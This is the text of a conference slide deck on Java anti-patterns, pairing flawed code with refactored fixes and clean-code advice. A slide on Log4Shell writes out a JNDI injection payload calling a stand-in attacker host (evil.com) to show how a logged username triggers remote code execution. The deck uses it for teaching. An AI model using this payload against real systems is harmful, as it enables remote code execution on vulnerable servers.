Stir Trek 2026

Java
Anti-Patterns

From God Objects to Graceful Code

Vitaliy Matiyash | Staff Software Engineer · Columbus, OH

Raise your hand if...

You've maintained a single class with 3,000+ lines?

You fixed one bug only to break two others?

You've had to debug status == 7 with no docs?

You've seen catch (Exception e) { } in production?

What is an Anti-Pattern?

"An antipattern is just like a pattern, except that instead of a solution, it gives something that looks superficially like a solution but isn't one."

- Andrew Koenig, 1995

Severity Tiers

Annoying Adds friction, wastes time, confuses juniors
Dangerous Causes bugs, blocks features, multiplies tech debt
Career-Ending Data loss, security breaches, production outages

The Usual Suspects

The Classics

God Object

dangerous

Spaghetti Code

dangerous

Lava Flow

dangerous

Magic Numbers

annoying

Copy & Paste

annoying

Reinventing the Wheel

annoying

Subtle Traps

Premature Optimization

annoying

Accidental Complexity

annoying

The Ostrich Effect

career-ending

Beyond Basics

Concurrency Bugs

career-ending

Distributed Monolith

career-ending

Compound Effect

multiplier

THE GOD OBJECT

Anti-Pattern 1 of 12

God Object dangerous

"A single class that knows too much and does too much."

  • Low Cohesion: Methods are unrelated.
  • Fragility: Change one line, break five features.
  • Name Smells: "Manager," "Utils," "System."
  • Untestable: Requires 100 mocks to test.

Real-world example:

Spring's AbstractBeanFactory - ~1,800 lines, manages bean creation, dependency resolution, scope handling, type conversion, and lifecycle callbacks in one class.

AppManager.java 3,247 lines · 187 methods UserValidation EmailService Analytics PaymentGateway ReportGen Database SecurityCheck ScheduledJobRunner Everything depends on one class. Change anything → break everything.

God Object: The Cure

Before


public class AppManager {
  public void createUser(User u) {
    if (u.getName() == null) { ... }  // Validation
    db.execute("INSERT...");          // Persistence
    email.sendWelcome(u);             // Notification
    analytics.track("NEW_USER");      // Monitoring
    if (isHoliday()) { ... }          // Business Rules
  }
  // ... 186 more unrelated methods ...
}
      

After - SRP + Modern Java


// Immutable data carrier (Java 17+)
public record CreateUserRequest(
    String name, String email) {}

// Each class: ONE responsibility
public class UserRegistrationService {
  private final UserValidator validator;
  private final UserRepository repo;
  private final NotificationService notifier;

  public User register(CreateUserRequest req) {
    validator.validate(req);
    User user = repo.save(req);
    notifier.welcomeEmail(user);
    return user;
  }
}
      

Key insight: Java record types eliminate the boilerplate DTOs that tempt you to stuff logic into one class. Each concern gets its own small, testable unit.

Spaghetti Code dangerous

The Arrowhead Anti-Pattern


public void processOrder(Order order) {
  if (order != null) {
    if (order.getItems() != null) {
      if (order.getItems().size() > 0) {
        for (Item item : order.getItems()) {
          if (isValid(item)) {
            // Finally, the actual logic
            process(item);
          }
        }
      }
    }
  }
}
      

Guard Clauses - Fail Fast


public void processOrder(Order order) {
  if (order == null) return;
  if (order.getItems() == null) return;
  if (order.getItems().isEmpty()) return;

  order.getItems().stream()
      .filter(this::isValid)
      .forEach(this::process);
}
      

Flat, linear, readable.
Each guard clause removes a nesting level.

Lava Flow dangerous

Dead code that solidifies because developers are afraid to delete it.

Real Example - Apache Tomcat


// Deprecated since Tomcat 4.x (circa 2002)
// Still present in source through 7.x
// "Needed for backwards compatibility"
@Deprecated
public class RequestUtil {
    public static String filter(String msg) {
        // HTML entity encoding
        // Replaced by HtmlUtils in 2004
        // 22 YEARS of dead weight
    }
}
        

The Cure

1. Git is your safety net. Deleted code is never lost - it's in the history. Delete with confidence.

2. Tag deprecated code with deadlines. @Deprecated(since="2024", forRemoval=true) (Java 9+)

3. Run coverage reports. Code with 0% coverage and no callers is safe to delete.

Magic Numbers & Hard Coding annoying

Real Example - JDK's Calendar


// java.util.Calendar - shipped with Java 1.1
// Months are 0-indexed. January = 0. Why?!

Calendar cal = Calendar.getInstance();
cal.set(2026, 0, 15); // January? Or... ?

if (cal.get(Calendar.DAY_OF_WEEK) == 7) {
   // Is 7 Saturday? Sunday? Who remembers?
}
        

This API confused millions of developers for 20 years.

Hard Coding


String url = "jdbc:mysql://prod-db:3306/app";
int timeout = 30000; // 30 seconds... or ms?
        

The Cure - java.time + Enums


// java.time (Java 8+) - no magic numbers
LocalDate date = LocalDate.of(2026, Month.JANUARY, 15);

if (date.getDayOfWeek() == DayOfWeek.SATURDAY) {
    // Crystal clear intent
}
        

Externalized Config


@Value("${db.url}")
private String dbUrl;

private static final Duration TIMEOUT =
    Duration.ofSeconds(30); // Self-documenting
        

Stringly-Typed Code annoying

When String is your only data type.

Everything Is a String


public void createAccount(
    String name,
    String email,
    String accountType,  // "CHECKING"? "checking"? "CHK"?
    String status,       // "active" or "ACTIVE" or "1"?
    String balance) {    // "1000.00" — why is money a String?

  if (status.equals("active")) { ... }  // case-sensitive!
  double bal = Double.parseDouble(balance); // NumberFormatException
}
      

Type-Safe Domain Objects


public void createAccount(
    CustomerName name,
    Email email,
    AccountType type,       // enum: CHECKING, SAVINGS
    AccountStatus status,   // enum: ACTIVE, CLOSED
    BigDecimal balance) {   // no parsing, no precision loss

  if (status == AccountStatus.ACTIVE) { ... }  // compile-safe
}
      
Compiler catches typos IDE autocomplete works No runtime surprises

Copy & Paste Programming annoying

Class A

public void exportPdf() {
  connect();
  formatData(); // IDENTICAL
  saveFile();   // IDENTICAL
}
          
Class B

public void exportCsv() {
  connect();
  formatData(); // IDENTICAL
  saveFile();   // IDENTICAL
}
          

Fix bug in one → forget the other → inconsistent behavior.

Template Method Pattern


public abstract class Exporter {
  public final void export() {
    connect();
    formatData();    // Shared logic
    writeOutput();   // Override per format
  }
  protected abstract void writeOutput();
}

public class PdfExporter extends Exporter {
  protected void writeOutput() { /* PDF */ }
}

public class CsvExporter extends Exporter {
  protected void writeOutput() { /* CSV */ }
}
      

Reinventing the Wheel annoying

The Custom Collection Utils


// Real pattern seen across enterprise codebases
public class CollectionHelper {
  public static boolean isEmpty(Collection c) {
    return c == null || c.size() == 0;
  }
  public static String join(List list, String sep) {
    StringBuilder sb = new StringBuilder();
    for (int i = 0; i < list.size(); i++) {
      if (i > 0) sb.append(sep);
      sb.append(list.get(i));
    }
    return sb.toString();
  }
  // 200 more utility methods...
}
      

Use What Already Exists


// Apache Commons (1B+ downloads)
CollectionUtils.isEmpty(collection);

// Java 8+ built-in
String.join(", ", list);

// Guava (Google)
ImmutableList.of("a", "b", "c");
        

Rule of thumb: Before writing a utility method, search for it. Apache Commons, Guava, and the JDK itself have been battle-tested by millions of projects.

SUBTLE TRAPS

The patterns that look like good ideas

Premature Optimization annoying

Hand-Rolled Thread Pool


// "Spring @Async is too slow for our needs"
ExecutorService pool =
    new ThreadPoolExecutor(
        8, 32, 60L, TimeUnit.SECONDS,
        new LinkedBlockingQueue<>(1000),
        new CustomThreadFactory(),
        new CustomRejectionPolicy()
    );

// For a batch job processing 50 items/day
pool.submit(() -> sendEmail(user));
      

200 lines of thread management for a job that runs twice a day.

What You Actually Need


// Java 21+ Virtual Threads
// Zero config, no pool tuning needed
try (var scope = new StructuredTaskScope
        .ShutdownOnFailure()) {
    scope.fork(() -> sendEmail(user));
    scope.join();
}

// Or simply: Spring @Async
@Async
public void sendEmail(User user) { ... }
        

"Premature optimization is the root of all evil."

- Donald Knuth

Accidental Complexity annoying

"Introducing architectural overhead that the problem doesn't demand."

Also known as: Resume-Driven Development

Architecture for a To-Do App (1 user) React SPA API Gateway Auth Service Todo Service Kafka MongoDB Kubernetes Cluster Istio Mesh Prometheus Total: 9 services for 1 user's to-do list Cost: $2,400/mo · Lines of config: 3,000

The Right Architecture


// Spring Boot + SQLite
// 1 JAR, 0 infrastructure
@RestController
public class TodoController {
  @GetMapping("/todos")
  List<Todo> list() {
    return repo.findAll();
  }

  @PostMapping("/todos")
  Todo create(@RequestBody Todo todo) {
    return repo.save(todo);
  }
}
        

Deploy: java -jar app.jar

Cost: $5/mo

The Ostrich Effect career-ending

Swallowing Exceptions


try {
    chargeCustomerCard(order);
} catch (Exception e) {
    // TODO: Fix this later
    // e.printStackTrace();
    // ^ commented out so logs are "clean"
}
// Code continues as if payment succeeded
shipOrder(order); // Ships without payment!
        

Result: Silent failures in production. No logs, no stack trace, corrupted data.

The Cure - Handle or Propagate


try {
    chargeCustomerCard(order);
} catch (PaymentException e) {
    log.error("Payment failed for order {}",
              order.getId(), e);
    orderService.markPaymentFailed(order);
    alerting.notifyOncall(e);
    throw e; // Don't continue silently
}
        

Rules:

  • Catch specific exceptions, not Exception
  • Log with context (order ID, user, etc.)
  • Either recover meaningfully or re-throw

Golden Hammer annoying

"When all you have is a hammer, everything looks like a nail." — Maslow

The Symptoms

  • "Just use Spring for it"
    Cron job? Spring Boot app. CLI tool? Spring Boot app. Static page? …Spring Boot app.
  • "We always use Kafka"
    Two services talking? Kafka. Sending an email? Kafka. Logging? …Kafka.
  • "Microservices everywhere"
    Team of 3 maintaining 27 services, one deployment pipeline per developer.

The Cure: Right Tool, Right Job

  • 1. Define the problem first
    Requirements → constraints → THEN technology.
  • 2. Evaluate at least two options
    "Why not X?" is a valid architecture question.
  • 3. Match scale to scope
    Not every problem needs a distributed system.

"The best tool is the simplest one that solves the problem."

BEYOND THE BASICS

Patterns most talks skip

Concurrency Anti-Patterns career-ending

Broken Double-Checked Locking


// Classic bug - worked "fine" for years
// until JIT reordered instructions
public class ConnectionPool {
  private static ConnectionPool instance;

  public static ConnectionPool getInstance() {
    if (instance == null) {           // Check 1
      synchronized (ConnectionPool.class) {
        if (instance == null) {       // Check 2
          instance = new ConnectionPool();
          // BUG: Another thread can see
          // partially constructed object!
        }
      }
    }
    return instance;
  }
}
      

Fix 1: volatile (Java 5+)


// volatile prevents instruction reordering
private static volatile ConnectionPool instance;
        

Fix 2: Holder pattern (better)


// JVM guarantees thread-safe class loading
public class ConnectionPool {
  private static class Holder {
    static final ConnectionPool INSTANCE =
        new ConnectionPool();
  }
  public static ConnectionPool getInstance() {
    return Holder.INSTANCE;
  }
}
        

Architectural Anti-Patterns career-ending

The Distributed Monolith

"All the complexity of microservices. None of the benefits."

Order Svc User Svc Payment Svc SHARED DATABASE Synchronous calls + shared DB = Monolith with network latency Deploy together, fail together, but now with 3x the YAML

Symptoms:

  • Shared database - services couple through tables
  • Synchronous chains - A calls B calls C, all must be up
  • Lock-step deploys - can't deploy one without the others
  • Shared data models - DTO jars passed between services

The fix: If you can't deploy independently, you don't have microservices. You have a distributed monolith with extra network hops. Consider staying monolith until you have a real scaling reason to split.

The Compound Effect

Anti-patterns rarely exist in isolation. They compound.

God Object "Too big to understand" Copy-Paste "Afraid to refactor it" Lava Flow "Can't delete it" Unmaintainable System "Rewrite from scratch" - CTO Each anti-pattern lowers the barrier for the next one to enter.

Studies show: Projects with 3+ co-occurring anti-patterns are 5x more likely to face a rewrite decision within 3 years.

- "Anti-Pattern Interaction Effects" - IEEE Software, 2019

When Anti-Patterns Are Acceptable

Nuance matters. Dogma is its own anti-pattern.

It's OK When...

  • Prototype / Spike: God Objects in throwaway code exploring a concept. Delete it after.
  • Performance-critical path: Deliberate optimization with profiler data and benchmarks.
  • Framework constraints: Some frameworks force you into patterns (e.g., JPA's @Entity inheritance).
  • Startup phase: Early products need speed > architecture. But schedule the cleanup.

It's NOT OK When...

  • "We'll fix it later" - with no ticket, no deadline, no owner.
  • "It works, don't touch it" - code with 0% test coverage that nobody understands.
  • "Everyone else does it" - cargo-cult copying without understanding.
  • Premature abstraction: Over-engineering to "prevent" hypothetical anti-patterns is itself an anti-pattern.

War Story: Log4Shell (CVE-2021-44228)

When anti-patterns enable a 10.0 CVSS vulnerability

The Anti-Patterns:

  • Magic String processing - log messages evaluated as code
  • Lava Flow - JNDI lookup feature added in 2013, never reviewed
  • Accidental Complexity - logging library doing remote code execution
  • Ostrich Effect - warnings about JNDI injection ignored for years

// This innocent log line:
log.info("Login from: " + username);

// With this username:
// "${jndi:ldap://evil.com/exploit}"
// → Triggers Remote Code Execution
        

Impact

  • Affected ~35,000 Java packages (Maven Central)
  • CVSS 10.0 - maximum severity
  • Exploited within hours of disclosure
  • Cost the industry billions in remediation

Lessons:

  • A logging library should never evaluate user input
  • Old features without active maintainers become time bombs
  • Every line of code is attack surface

CLEAN CODE

Principles that prevent anti-patterns from forming

Meaningful Names

"The name of a variable should answer all the big questions." - R.C. Martin

Unsearchable & Cryptic


// Try grepping for 't' in 50K lines of code
double t = 500.00;

// What is 7? Active? Deleted? Married?
if (account.status == 7) { ... }

// Single-letter loops scale terribly
for (int i = 0; i < l.size(); i++) {
  T o = l.get(i);
  if (o.s == 3) { ... }
}
      

Searchable & Intentional


double transactionAmount = 500.00;

// Java enum - type-safe, searchable
if (account.status == Status.ACTIVE) { ... }

// Intent-revealing names
for (Account account : activeAccounts) {
  if (account.isOverdue()) {
    notifyCollections(account);
  }
}
      

The Grammar of Code

  • Classes: Nouns (Customer, Account)
  • Methods: Verbs (postPayment(), deletePage())
  • Booleans: Predicates (isActive, canExecute)

Don't Be Cute

whack()terminate()

m_namename

IDEs handle scoping. Skip Hungarian notation.

The Rules of Functions

"The first rule of functions is that they should be small."

"The second rule of functions is that they should be smaller than that."

- Robert C. Martin, Clean Code

Do One Thing
One Level of Abstraction
≤ 3 Arguments
No Side Effects

Boolean Blindness

When function calls read like morse code.

Spot the Bug


// What do these booleans mean?
process(order, true, false, true, null);

// 6 months later: someone swaps two arguments
process(order, false, true, true, null);  // compiles fine, ships broken

// Even worse: flag arguments
public void sendEmail(Customer c, boolean isUrgent,
    boolean addAttachment, boolean bccManager) { ... }
      

Readable Alternatives


// Option 1: Enum replaces boolean
process(order, Priority.HIGH, Shipping.STANDARD);

// Option 2: Builder pattern
EmailRequest.to(customer)
    .urgent()
    .withAttachment(report)
    .bccManager()
    .send();

// Option 3: Separate methods
sendUrgentEmail(customer);
sendWithAttachment(customer, report);
      

Rule: If a boolean parameter isn't obvious from the call site, it shouldn't be a boolean.

Visual Refactoring

The Step-Down Rule: read code top to bottom, one abstraction level at a time.

The Monolith


public static String testableHtml(
  PageData pageData,
  boolean includeSuiteSetup) throws Exception {
  WikiPage wikiPage = pageData.getWikiPage();
  StringBuffer buffer = new StringBuffer();
  if (pageData.hasAttribute("Test")) {
    if (includeSuiteSetup) {
      WikiPage suiteSetup =
        PageCrawlerImpl.getInheritedPage(
          SuiteResponder.SUITE_SETUP_NAME,
          wikiPage);
      if (suiteSetup != null) {
        WikiPagePath pagePath = suiteSetup
          .getPageCrawler()
          .getFullPath(suiteSetup);
        String pathName =
          PathParser.render(pagePath);
        buffer.append("!include -setup .")
              .append(pathName).append("\n");
      }
    }
    // ... 50 more lines of append logic ...
  }
  return buffer.toString();
}
      

Extracted


public static String renderPage(
  PageData pageData,
  boolean isSuite) throws Exception {

  if (isTestPage(pageData)) {
    includeSetupAndTeardownPages(
        pageData, isSuite);
  }

  return pageData.getHtml();
}
      

1. Fits on one screen
2. Describes what, not how
3. One level of abstraction

Side Effects & Temporal Coupling

"Side effects are lies. Your function promises one thing, but secretly does another."

Hidden Side Effect in Spring


@Transactional
public OrderSummary getOrderSummary(Long id) {
  Order order = orderRepo.findById(id).get();
  // SIDE EFFECT: modifies entity inside txn
  order.setLastViewedAt(Instant.now());
  // JPA dirty checking auto-flushes this
  // "Read" method secretly writes to the DB!
  return mapper.toSummary(order);
}

// Caller has no idea a "get" mutates data
OrderSummary s = getOrderSummary(42);
      

A "get" method that silently writes to the database.

Fix: Separate Command from Query


// QUERY - no side effects, read-only txn
@Transactional(readOnly = true)
public OrderSummary getOrderSummary(Long id) {
  return mapper.toSummary(
      orderRepo.findById(id).orElseThrow());
}

// COMMAND - clearly mutates state
@Transactional
public void recordOrderViewed(Long id) {
  Order order = orderRepo.findById(id)
      .orElseThrow();
  order.setLastViewedAt(Instant.now());
}
        

CQS: Command-Query Separation - Bertrand Meyer

Error Handling

"Error handling is important, but if it obscures logic, it's wrong." - R.C. Martin

The Null Problem


public User findUser(String id) {
  return userMap.get(id); // might be null
}

// Every caller repeats this:
User u = findUser("123");
if (u != null) { ... } // Forget once → NPE
      

Use Optional (Java 8+)


public Optional<User> findUser(String id) {
  return Optional.ofNullable(userMap.get(id));
}

// Caller is FORCED to handle absence
findUser("123")
    .map(User::getName)
    .orElse("Unknown");
        

Also: Extract try/catch bodies into separate methods — error handling is ONE thing, it gets its own function. (See the Ostrich Effect slide for exception handling rules.)

The Bad Comment Gallery

"Don't use a comment when you can use a function or a variable." - R.C. Martin

Journal Comments


/* Changes:
 * 11-Oct: Fixed bug (Jim)
 * 05-Nov: Added feature (Pam)
 */
      

DELETE - Git does this.

Noise Comments


/** The Default Constructor */
public Account() {}

/** The day of the month */
private int dayOfMonth;
      

DELETE - Restating the obvious.

Position Markers


    } // end while
  } // end if
} // end method
// Added by Rick
      

REFACTOR - function is too big.

Ghost Code


// InputStreamResponse response =
//   new InputStreamResponse();
// response = ...
      

DELETE NOW - it rots forever.

Stale TODOs


// TODO: Fix this
// efficiency issue
// by 2018...
      

SCAN WEEKLY - or they go invisible.

Good Comments


// Workaround for JDK-8072452
// Fixed in Java 17.0.3+
// Remove after upgrade
      

KEEP - explains unavoidable "why".

Modern Java: The Antidote

Java 17-21 features that make anti-patterns harder to write

Records (Java 16+)

Kill boilerplate DTOs that balloon into God Objects


// Immutable, equals/hashCode free
public record Point(double x, double y) {}

// Instead of 80-line POJO with getters,
// setters, equals, hashCode, toString
      

Sealed Classes (Java 17+)

Replace open inheritance with closed hierarchies


public sealed interface Shape
    permits Circle, Rectangle, Triangle {}

// Compiler enforces exhaustive matching
// No more "default: throw new
//   UnsupportedOperationException()"
      

Pattern Matching (Java 21+)

Eliminate instanceof chains & switch anti-patterns


// Exhaustive, type-safe switching
double area = switch (shape) {
  case Circle c    -> Math.PI * c.r() * c.r();
  case Rectangle r -> r.w() * r.h();
  case Triangle t  -> 0.5 * t.b() * t.h();
  // Compiler error if case missing!
};
      

These features don't just improve style - they make entire categories of bugs impossible at compile time.

PREVENTION

Your Monday morning action items

Automated Defense

Static Analysis

SonarQube / SonarLint

Catch smells while you type. Quality Gates block PRs if complexity > 10.

Error Prone (Google)

Compile-time: catches == on strings, unused returns, concurrency bugs.

SpotBugs

Finds null dereference, infinite loops, resource leaks at bytecode level.

Code Review Rules

  • The "Explanation" Test

    If you explain "why" in a comment - refactor instead.

  • SRP Check

    Can you describe this class without using "and"?

  • The Boy Scout Rule

    Leave every file cleaner than you found it.

The Goal: Write code for Humans first, Compilers second.

Real results: God Object refactoring → complexity −87%, coverage +7.4×, production incidents zero in 6 months.

Spot the Anti-Patterns

How many can you find? (There are at least 6)


public class SystemManager {                                           // 1. ???
    public void processTransaction(Object data) {
        if (data != null) {
            if (data instanceof Map) {
                Map m = (Map) data;                                    // 2. ???
                if (m.get("type") != null) {
                    if (m.get("type").equals("payment")) {
                        double amt = (double) m.get("amount");         // 3. ???
                        String url = "https://pay.internal/api/v1";    // 4. ???
                        try {
                            HttpClient.newHttpClient()
                                .send(buildRequest(url, amt), ofString());
                        } catch (Exception e) { }                     // 5. ???
                    }
                }
            }
        }
    }
    // ... 150 more methods like this ...                              // 6. ???
}
    
1. God Object ("Manager")
2. Raw types + spaghetti nesting
3. Magic cast (no types)
4. Hard-coded URL
5. Swallowed exception
6. God Object (150 methods)

The Action Plan

What to do when you get back to your desk

1
Prevent

Add SonarLint to your IDE. Set up Quality Gates in CI/CD. Stop anti-patterns at the gate.

2
Eliminate

Apply the Boy Scout Rule: every PR you touch, fix one smell. Rename one variable. Delete one dead method.

3
Educate

Share these patterns with your team. Make anti-pattern identification part of your code review checklist.

Further Reading

CC

Clean Code

Robert C. Martin, 2008

EJ

Effective Java, 3rd Ed.

Joshua Bloch, 2018

PS

A Philosophy of Software Design

John Ousterhout, 2018

RF

Refactoring, 2nd Ed.

Martin Fowler, 2018

📄

Cheat Sheet

One-page PDF: all anti-patterns + fixes at a glance.

Cheat Sheet QR
bit.ly/java-anti-patterns

Graceful Code

"Elegant code isn't just about adhering to patterns.
It's about empathy for the next developer who has to read it.
(Even if that developer is you, six months from now, at 3 AM)."

Thank You

Let's build better software.

Stir Trek 2026 · Vitaliy Matiyash

Resources & Connect

Scan to grab the slides or find me online.

Get the Slides

Deck, code examples, and cheat sheet.

Slides QR
bit.ly/java-anti-patterns